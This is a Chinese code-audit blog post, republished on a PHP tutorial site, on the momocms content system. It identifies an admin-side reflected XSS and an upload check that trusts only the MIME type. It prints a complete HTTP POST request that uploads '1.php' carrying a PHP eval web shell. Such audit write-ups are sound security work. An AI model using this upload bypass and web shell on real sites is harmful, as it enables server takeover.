Heim  >  Artikel  >  Backend-Entwicklung  >  momocms代码审计

momocms代码审计

WBOY
WBOYOriginal
2016-08-08 09:30:221175Durchsuche

无聊时看了站长之家上有个程序挺火的,下载下来看了下。

前端的$_GET都是用intval()函数过滤了,没有什么可利用的。

后台有一处xss

admin\create_sub_product.php的第96行

<span style="font-family:Microsoft YaHei;font-size:18px;"><input type="hidden" name="category" value="<?php echo $_GET['id']; ?>">
							<p>
</p></span>


二:上传漏洞

在admin/banner_do.php 中

代码如下

<span style="font-family:Microsoft YaHei;font-size:18px;">require("./database.php");
if(empty($_SESSION['momocms_admin'])){
	header("Location:./index.php");	
	exit;
}
if($_SESSION['momocms_isAdmin']==1){
if (($_FILES["banner"]["type"] == "image/gif")
|| ($_FILES["banner"]["type"] == "image/jpeg")
|| ($_FILES["banner"]["type"] == "image/png")
|| ($_FILES["banner"]["type"] == "image/pjpeg"))
  {
  if ($_FILES["banner"]["error"] > 0){
    echo "Return Code: " . $_FILES["banner"]["error"] . "<br>";
    }else{
    	if(!is_dir("../resource/slide/images")){
    		mkdir("../resource/slide/images");
    	}
    	 $pos = strrpos($_FILES["banner"]["name"],".");
    	 $back = substr($_FILES["banner"]["name"],$pos);
    	 $_FILES["banner"]["name"] = time().$back;
      move_uploaded_file($_FILES["banner"]["tmp_name"],
      "../resource/slide/images/".  $_FILES["banner"]["name"]);
      $pic="../resource/slide/images/".  $_FILES["banner"]["name"];
      echo '<script>
				parent.document.getElementById("successMsg").style.display="block";
				setTimeout(function(){
				parent.window.location.href="./banner.php";
				},1500);
				</script>';
    }
  }
}
</span>

可以看到上传至判断了上传的类型,而没有判断上传的后缀等等。

所以可以构造Content-type:image/jpeg 即可突破上传

<span style="font-family:Microsoft YaHei;font-size:18px;">POST /test/momocms/admin/banner_do.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/test/momocms/admin/banner.php
Cookie: PHPSESSID=a920be64bc19dc2b620e7ddab2441811
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------13761195204349
Content-Length: 227

-----------------------------13761195204349
Content-Disposition: form-data; name="banner"; filename="1.php"
Content-Type: image/jpeg

<?php eval($_POST[&#39;w&#39;]);?>
-----------------------------13761195204349--


</span>



然后在后台挂件哪里可以直接修改php源代码

暂时看了这么多。还有其他的以后再看吧。

以上就介绍了momocms代码审计,包括了方面的内容,希望对PHP教程有兴趣的朋友有所帮助。

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Vorheriger Artikel:ajax实现无刷新分页Nächster Artikel:Yii2中的环境配置